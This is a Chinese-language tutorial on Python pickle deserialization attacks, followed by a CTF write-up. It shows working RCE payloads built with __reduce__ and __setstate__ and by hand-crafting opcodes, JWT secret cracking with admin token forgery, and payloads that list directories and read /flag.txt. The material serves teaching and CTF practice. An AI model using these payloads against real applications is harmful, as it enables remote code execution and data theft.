python的反序列化相对于php反序列化比较的单一,php反序列化通过不断的变量覆盖,使得各个
方法之间互相调用,从而导致了恶意方法的调用,而对于python反序列化,通过恶意的构造语
句,实现了的命令执行,他更加像是一种命令的注入
python反序列化相当于把程序运行时产生的变量,字典,对象实例等变换成字符串形式存储起来,以便后续调用,恢复保存前的状态
python中反序列化的库主要有两个,pickle
和cPickle
,这俩除了运行效率上有区别外,其他没啥区别
pickle
的常用方法有import pickle
a_list = ['a','b','c']
# pickle构造出的字符串,有很多个版本。在dumps或loads时,可以用Protocol参数指定协议版本,例如指定为0号版本
# 目前这些协议有0,2,3,4号版本,默认为3号版本。这所有版本中,0号版本是人类最可读的;之后的版本加入了一大堆不可打印字符,不过这些新加的东西都只是为了优化,本质上没有太大的改动。
# 一个好消息是,pickle协议是向前兼容的。0号版本的字符串可以直接交给pickle.loads(),不用担心引发什么意外。
# pickle.dumps将对象反序列化为字符串
# pickle.dump将反序列化后的字符串存储为文件
print(pickle.dumps(a_list,protocol=0))
pickle.loads() #对象反序列化
pickle.load() #对象反序列化,从文件中读取数据
v0 版协议是原始的 “人类可读” 协议,并且向后兼容早期版本的 Python。
v1 版协议是较早的二进制格式,它也与早期版本的 Python 兼容。
v2 版协议是在 Python 2.3 中引入的。它为存储 new-style class 提供了更高效的机制。欲了解有关第 2 版协议带来的改进,请参阅 PEP 307。
v3 版协议添加于 Python 3.0。它具有对 bytes 对象的显式支持,且无法被 Python 2.x 打开。这是目前默认使用的协议,也是在要求与其他 Python 3 版本兼容时的推荐协议。
v4 版协议添加于 Python 3.4。它支持存储非常大的对象,能存储更多种类的对象,还包括一些针对数据格式的优化。
import pickle
import pickletools
a_list = ['a','b','c']
a_list_pickle = pickle.dumps(a_list,protocol=0)
print(a_list_pickle)
# 优化一个已经被打包的字符串
a_list_pickle = pickletools.optimize(a_list_pickle)
print(a_list_pickle)
# 反汇编一个已经被打包的字符串
pickletools.dis(a_list_pickle)
MARK = b'(' # push special markobject on stack
STOP = b'.' # every pickle ends with STOP
POP = b'0' # discard topmost stack item
POP_MARK = b'1' # discard stack top through topmost markobject
DUP = b'2' # duplicate top stack item
FLOAT = b'F' # push float object; decimal string argument
INT = b'I' # push integer or bool; decimal string argument
BININT = b'J' # push four-byte signed int
BININT1 = b'K' # push 1-byte unsigned int
LONG = b'L' # push long; decimal string argument
BININT2 = b'M' # push 2-byte unsigned int
NONE = b'N' # push None
PERSID = b'P' # push persistent object; id is taken from string arg
BINPERSID = b'Q' # " " " ; " " " " stack
REDUCE = b'R' # apply callable to argtuple, both on stack
STRING = b'S' # push string; NL-terminated string argument
BINSTRING = b'T' # push string; counted binary string argument
SHORT_BINSTRING= b'U' # " " ; " " " " < 256 bytes
UNICODE = b'V' # push Unicode string; raw-unicode-escaped'd argument
BINUNICODE = b'X' # " " " ; counted UTF-8 string argument
APPEND = b'a' # append stack top to list below it
BUILD = b'b' # call __setstate__ or __dict__.update()
GLOBAL = b'c' # push self.find_class(modname, name); 2 string args
DICT = b'd' # build a dict from stack items
EMPTY_DICT = b'}' # push empty dict
APPENDS = b'e' # extend list on stack by topmost stack slice
GET = b'g' # push item from memo on stack; index is string arg
BINGET = b'h' # " " " " " " ; " " 1-byte arg
INST = b'i' # build & push class instance
LONG_BINGET = b'j' # push item from memo on stack; index is 4-byte arg
LIST = b'l' # build list from topmost stack items
EMPTY_LIST = b']' # push empty list
OBJ = b'o' # build & push class instance
PUT = b'p' # store stack top in memo; index is string arg
BINPUT = b'q' # " " " " " ; " " 1-byte arg
LONG_BINPUT = b'r' # " " " " " ; " " 4-byte arg
SETITEM = b's' # add key+value pair to dict
TUPLE = b't' # build tuple from topmost stack items
EMPTY_TUPLE = b')' # push empty tuple
SETITEMS = b'u' # modify dict by adding topmost key+value pairs
BINFLOAT = b'G' # push float; arg is 8-byte float encoding
TRUE = b'I01\n' # not an opcode; see INT docs in pickletools.py
FALSE = b'I00\n' # not an opcode; see INT docs in pickletools.py
b'\x80\x03](X\x01\x00\x00\x00aX\x01\x00\x00\x00bX\x01\x00\x00\x00ce.'
0: \x80 PROTO 3 #标明使用协议版本
2: ] EMPTY_LIST #将空列表压入栈
3: ( MARK #将标志压入栈
4: X BINUNICODE 'a' #unicode字符
10: X BINUNICODE 'b'
16: X BINUNICODE 'c'
22: e APPENDS (MARK at 3) #将3号标志后的数据压入列表
# 弹出栈中的数据,结束流程
23: . STOP
highest protocol among opcodes = 2
import pickle
import pickletools
import base64
class a_class():
def __init__(self):
self.age = 114514
self.name = "QAQ"
self.list = ["1919","810","qwq"]
a_class_new = a_class()
a_class_pickle = pickle.dumps(a_class_new,protocol=3)
print(a_class_pickle)
# 优化一个已经被打包的字符串
a_list_pickle = pickletools.optimize(a_class_pickle)
print(a_class_pickle)
# 反汇编一个已经被打包的字符串
pickletools.dis(a_class_pickle)
b'\x80\x03c__main__\na_class\nq\x00)\x81q\x01}q\x02(X\x03\x00\x00\x00ageq\x03JR\xbf\x01\x00X\x04\x00\x00\x00nameq\x04X\x03\x00\x00\x00QAQq\x05X\x04\x00\x00\x00listq\x06]q\x07(X\x04\x00\x00\x001919q\x08X\x03\x00\x00\x00810q\tX\x03\x00\x00\x00qwqq\neub.'
b'\x80\x03c__main__\na_class\nq\x00)\x81q\x01}q\x02(X\x03\x00\x00\x00ageq\x03JR\xbf\x01\x00X\x04\x00\x00\x00nameq\x04X\x03\x00\x00\x00QAQq\x05X\x04\x00\x00\x00listq\x06]q\x07(X\x04\x00\x00\x001919q\x08X\x03\x00\x00\x00810q\tX\x03\x00\x00\x00qwqq\neub.'
0: \x80 PROTO 3
# push self.find_class(modname, name); 连续读取两个字符串作为参数,以\n为界
# 这里就是self.find_class(‘__main__’, ‘a_class’);
# 需要注意的版本不同,find_class函数也不同
2: c GLOBAL '__main__ a_class'
# 不影响反序列化
20: q BINPUT 0
# 向栈中压入一个元组
22: ) EMPTY_TUPLE
# 见pickletools源码第2097行(注意版本)
# 大意为,该指令之前的栈内容应该为一个类(2行GLOBAL创建的类),类后为一个元组(22行压入的TUPLE),调用cls.__new__(cls, *args)(即用元组中的参数创建一个实例,这里元组实际为空)
23: \x81 NEWOBJ
24: q BINPUT 1
# 压入一个新的字典
26: } EMPTY_DICT
27: q BINPUT 2
# 一个标志
29: ( MARK
# 压入unicode值
30: X BINUNICODE 'age'
38: q BINPUT 3
40: J BININT 114514
45: X BINUNICODE 'name'
54: q BINPUT 4
56: X BINUNICODE 'QAQ'
64: q BINPUT 5
66: X BINUNICODE 'list'
75: q BINPUT 6
77: ] EMPTY_LIST
78: q BINPUT 7
# 又一个标志
80: ( MARK
81: X BINUNICODE '1919'
90: q BINPUT 8
92: X BINUNICODE '810'
100: q BINPUT 9
102: X BINUNICODE 'qwq'
110: q BINPUT 10
# 将第80行的mark之后的值压入第77行的列表
112: e APPENDS (MARK at 80)
# 详情见pickletools源码第1674行(注意版本)
# 大意为将任意数量的键值对添加到现有字典中
# Stack before: ... pydict markobject key_1 value_1 ... key_n value_n
# Stack after: ... pydict
113: u SETITEMS (MARK at 29)
# 通过__setstate__或更新__dict__完成构建对象(对象为我们在23行创建的)。
# 如果对象具有__setstate__方法,则调用anyobject .__setstate__(参数)
# 如果无__setstate__方法,则通过anyobject.__dict__.update(argument)更新值
# 注意这里可能会产生变量覆盖
114: b BUILD
# 弹出栈中的数据,结束流程
115: . STOP
highest protocol among opcodes = 2
__reduce__
ctf中大多数常见的pickle反序列化,利用方法大都是__reduce__
触发__reduce__
的指令码为R
取当前栈的栈顶记为
args
,然后把它弹掉。取当前栈的栈顶记为
f
,然后把它弹掉。以
args
为参数,执行函数f
,把结果压进当前栈。
只要在序列化中的字符串中存在R
指令,__reduce__
方法就会被执行,无论正常程序中是否写明了__reduce__
方法。例如:
import pickle
import pickletools
import base64
class a_class():
def __init__(self):
self.age = 114514
self.name = "QAQ"
self.list = ["1919","810","qwq"]
def __reduce__(self):
return (__import__('os').system, ("whoami",))
a_class_new = a_class()
a_class_pickle = pickle.dumps(a_class_new,protocol=3)
print(a_class_pickle)
# 优化一个已经被打包的字符串
a_list_pickle = pickletools.optimize(a_class_pickle)
print(a_class_pickle)
# 反汇编一个已经被打包的字符串
pickletools.dis(a_class_pickle)
'''
b'\x80\x03cnt\nsystem\nq\x00X\x06\x00\x00\x00whoamiq\x01\x85q\x02Rq\x03.'
b'\x80\x03cnt\nsystem\nq\x00X\x06\x00\x00\x00whoamiq\x01\x85q\x02Rq\x03.'
0: \x80 PROTO 3
2: c GLOBAL 'nt system'
13: q BINPUT 0
15: X BINUNICODE 'whoami'
26: q BINPUT 1
28: \x85 TUPLE1
29: q BINPUT 2
31: R REDUCE
32: q BINPUT 3
34: . STOP
highest protocol among opcodes = 2
'''
把生成的payload拿到无__reduce__
的正常程序中,命令仍然会被执行
生成payload时使用的python版本尽量与目标上的版本一致
#coding=utf-8
import pickle
import urllib.request
#python2
#import urllib
import base64
class rayi(object):
def __reduce__(self):
# 未导入os模块,通用
return (__import__('os').system, ("whoami",))
# return eval,("__import__('os').system('whoami')",)
# return map, (__import__('os').system, ('whoami',))
# return map, (__import__('os').system, ['whoami'])
# 导入os模块
# return (os.system, ('whoami',))
# return eval, ("os.system('whoami')",)
# return map, (os.system, ('whoami',))
# return map, (os.system, ['whoami'])
a_class = rayi()
result = pickle.dumps(a_class)
print(result)
print(base64.b64encode(result))
#python3
print(urllib.request.quote(result))
#python2
#print urllib.quote(result)
而在python中,同样的有几个内置方法,会在对象被反序列化时调用。他们分别是:
__reduce__()
__reduce_ex__()
__setstate__()
通过在他们下面写入有问题的shellcode,造成rce
demo:
import pickle
import pickletools
import os
class obj:
def __init__(self,str1,str2):
self.str1=str1;
self.str2=str2;
def __setstate__(self,name):
os.system('dir')
# def __reduce__(self):
# return(os.system,('dir',))
class1=obj("str1","str2")
a=pickle.dumps(class1)
print(a)
b=a
pickle.loads(b)
效果:
def load_build(self):
stack = self.stack
state = stack.pop()
inst = stack[-1]
setstate = getattr(inst, "__setstate__", None)
if setstate is not None:
setstate(state)
return
state会从栈里面去除一个字符,同时inst也会去栈里面取出栈尾的字符
如果 inst 拥有 __setstate__ 方法,则把 state 交给 __setstate__ 方法来处理;否则的话,直接把
state 这个 dist 的内容,合并到 inst.__dict__ 里面。
假设有是这个方法,那我们可以先构造把 __setstate__ 方法构造成os.system,然后再次built,将这个值build为“ls /”,但是这个时候会被因为已经存在这个方法,那么就会被交给setstate去处理,于是乎就造成了rce
import pickle
import pickletools
import os
class obj:
def __init__(self):
self.str1="str1";
self.str2="str2";
# def __setstate__(self):
# os.system('dir')
# def __reduce__(self):
# return(os.system,('dir',))
class1=obj()
a=pickle.dumps(class1)
print(a)#在这里输出
b'\x80\x04\x95.\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x03obj\x94\x9
3\x94)\x81\x94}\x94(\x8c\x04str1\x94h\x05\x8c\x04str2\x94h\x06ub.'
b=b'\x80\x04\x95.\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x03obj\x94\
x93\x94)\x81\x94}\x94(\x8c\x04str1\x94h\x05\x8c\x04str2\x94h\x06V__setstate__\nco
s\nsystem\nubVdir\nb.'
pickle.loads(b)
#pickletools.dis(b)
加入了恶意的字符串
(V__setstate__\ncos\nsystem\nubV\nb.'
达到rce
c
指令码c
指令码可以用来调用全局的xxx.xxx
的值
例子
import secret
import pickle
import pickletools
class flag():
def __init__(self,a,b):
self.a = a
self.b = b
# new_flag = pickle.dumps(flag('A','B'),protocol=3)
# print(new_flag)
# pickletools.dis(new_flag)
your_payload = b'?'
other_flag = pickle.loads(your_payload)
secret_flag = flag(secret.a,secret.b)
if other_flag.a == secret_flag.a and other_flag.b == secret_flag.b:
print('flag{xxxxxx}')
else:
print('No!')
# secret.py
# you can not see this
a = 'aaaa'
b = 'bbbb'
在我们不知道secret.py
中值的情况下,如何构造满足条件的payload,拿到flag呢?
利用c指令:
这是一般情况下的flag类
λ python app.py
b'\x80\x03c__main__\nflag\nq\x00)\x81q\x01}q\x02(X\x01\x00\x00\x00aq\x03X\x01\x00\x00\x00Aq\x04X\x01\x00\x00\x00bq\x05X\x01\x00\x00\x00Bq\x06ub.'
0: \x80 PROTO 3
2: c GLOBAL '__main__ flag'
17: q BINPUT 0
19: ) EMPTY_TUPLE
20: \x81 NEWOBJ
21: q BINPUT 1
23: } EMPTY_DICT
24: q BINPUT 2
26: ( MARK
27: X BINUNICODE 'a'
33: q BINPUT 3
35: X BINUNICODE 'A'
41: q BINPUT 4
43: X BINUNICODE 'b'
49: q BINPUT 5
51: X BINUNICODE 'B'
57: q BINPUT 6
59: u SETITEMS (MARK at 26)
60: b BUILD
61: . STOP
highest protocol among opcodes = 2
如果我们手动把payload修改一下,将a和b的值改为secret.a
,secret.b
原来的:b'\x80\x03c__main__\nflag\nq\x00)\x81q\x01}q\x02(X\x01\x00\x00\x00aq\x03X\x01\x00\x00\x00Aq\x04X\x01\x00\x00\x00bq\x05X\x01\x00\x00\x00Bq\x06ub.' 现在的: b'\x80\x03c__main__\nflag\nq\x00)\x81q\x01}q\x02(X\x01\x00\x00\x00aq\x03csecret\na\nq\x04X\x01\x00\x00\x00bq\x05csecret\nb\nq\x06ub.'
我们成功的调用了secret.py
中的变量
通过BUILD指令与C指令的结合,我们可以把改写为os.system
或其他函数
假设某个类原先没有__setstate__
方法,我们可以利用{'__setstate__': os.system}
来BUILE这个对象
BUILD指令执行时,因为没有__setstate__
方法,所以就执行update,这个对象的__setstate__
方法就改为了我们指定的os.system
接下来利用"ls /"
来再次BUILD这个对象,则会执行setstate("ls /")
,而此时__setstate__
已经被我们设置为os.system
,因此实现了RCE.
看看怎么实现的,以flag类为例
import pickle
import pickletools
class flag():
def __init__(self):
pass
new_flag = pickle.dumps(flag(),protocol=3)
print(new_flag)
pickletools.dis(new_flag)
# your_payload = b'?'
# other_flag = pickle.loads(your_payload)
根据BUILD的说明,我们需要构造一个字典
b'\x80\x03c__main__\nflag\nq\x00)\x81}.'
接下来往字典里放值,先放一个mark
b'\x80\x03c__main__\nflag\nq\x00)\x81}(.'
放键值对
b'\x80\x03c__main__\nflag\nq\x00)\x81}(V__setstate__\ncos\nsystem\nu.'
第一次BUILD
b'\x80\x03c__main__\nflag\nq\x00)\x81}(V__setstate__\ncos\nsystem\nub.'
放参数
b'\x80\x03c__main__\nflag\nq\x00)\x81}(V__setstate__\ncos\nsystem\nubVwhoami\n.'
第二次BUILD
b'\x80\x03c__main__\nflag\nq\x00)\x81}(V__setstate__\ncos\nsystem\nubVwhoami\nb.'
完成,测试一下
import pickle
import pickletools
class flag():
def __init__(self):
pass
#new_flag = pickle.dumps(flag(),protocol=3)
#print(new_flag)
#pickletools.dis(new_flag)
your_payload = b'\x80\x03c__main__\nflag\nq\x00)\x81}(V__setstate__\ncos\nsystem\nubVwhoami\nb.'
other_flag = pickle.loads(your_payload)
pickletools.dis(your_payload)
成功在不使用R
指令的情况下完成了RCE
laptop-07540gp4\leo
0: \x80 PROTO 3
2: c GLOBAL '__main__ flag'
17: q BINPUT 0
19: ) EMPTY_TUPLE
20: \x81 NEWOBJ
21: } EMPTY_DICT
22: ( MARK
23: V UNICODE '__setstate__'
37: c GLOBAL 'os system'
48: u SETITEMS (MARK at 22)
49: b BUILD
50: V UNICODE 'whoami'
58: b BUILD
59: . STOP
highest protocol among opcodes = 2
进去之后发现是一个好像设计啥购买东西的网页,看到提示说一定要买到lv6!!
我们发现了规律,第几个lv对应的图片就是就是几png,直接翻到181页发现的,或者写脚本跑也可以
去购买这个lv6的账号,直接抓包修改折扣
然后出现了/b1g_m4mber回显
那么我们尝试解解jwt看看能不能发现什么,JSON Web Tokens - jwt.io
可以知道username对应我们的用户名,需要将这里改成admin即可,但是我们还不知道他的jwt字符串的密钥
这里看了大佬师傅的博客知道了可以使用c-jwt-cracker来破解密码
爆出密钥是1Kun
将username数值替换为admin,将密钥改为1Kun,即可得到伪造后的JWT
将伪造好的JWT替换原来的JWT
我们查看源码
有源码泄露,下载下来查看,发现存在Pickle反序列化
import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib
class AdminHandler(BaseHandler):
@tornado.web.authenticated
def get(self, *args, **kwargs):
if self.current_user == "admin": #验证是否账户时是admin
return self.render('form.html', res='This is Black Technology!', member=0)
else:
return self.render('no_ass.html')
@tornado.web.authenticated #自动验证登录信息
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become)) #对传入的become进行操作
return self.render('form.html', res=p, member=1)#向form.html传递参数
except:
return self.render('form.html', res='This is Black Technology!', member=0)
重点来看这一块,对我们传入的become参数进行操作,并且用到pickle这个东西,我们可以利用其进行文件读取,并将flag传回form.html中
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
那么根据之前的知识我们可以通过构造类,通过__reduce的魔术方法来实现执行python代码
通过os.listdir()函数来获取目录下所有文件的名字。这里我们设置起始为根目录
#!/usr/bin/python
# -*- coding: utf-8 -*-
import pickle
import urllib
import os
class payload(object):
def __reduce__(self):
return (os.listdir,('/',))
a = pickle.dumps(payload())
###python3需要用下面的写法
###a = pickle.dumps(payload(),protocol=0)
a = urllib.quote(a)
print a
将序列化的字符串替换become中的参数(点击一键成为大会员按钮,抓包发现有become参数,替换become参数)
发现flag.txt
import pickle
import urllib
class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt').read()",))
a = pickle.dumps(payload())
###python3需要用下面的写法
###a = pickle.dumps(payload(),protocol=0)
print(urllib.quote(a))
获取flag
参考博客:
Code-Breaking中的两个Python沙箱 | 离别歌 (leavesongs.com)
Python pickle 反序列化详解 - FreeBuf网络安全行业门户
关于Pickle反序列化总结_pickle 反序列化_桃雾雨Rain的博客-CSDN博客
记 [CISCN2019 华北赛区 Day1 Web2]ikun 关于python的反序列化漏洞的思考_lkun 端口_fly夏天的博客-CSDN博客
pickle反序列化的利用技巧总结 - 知乎 (zhihu.com)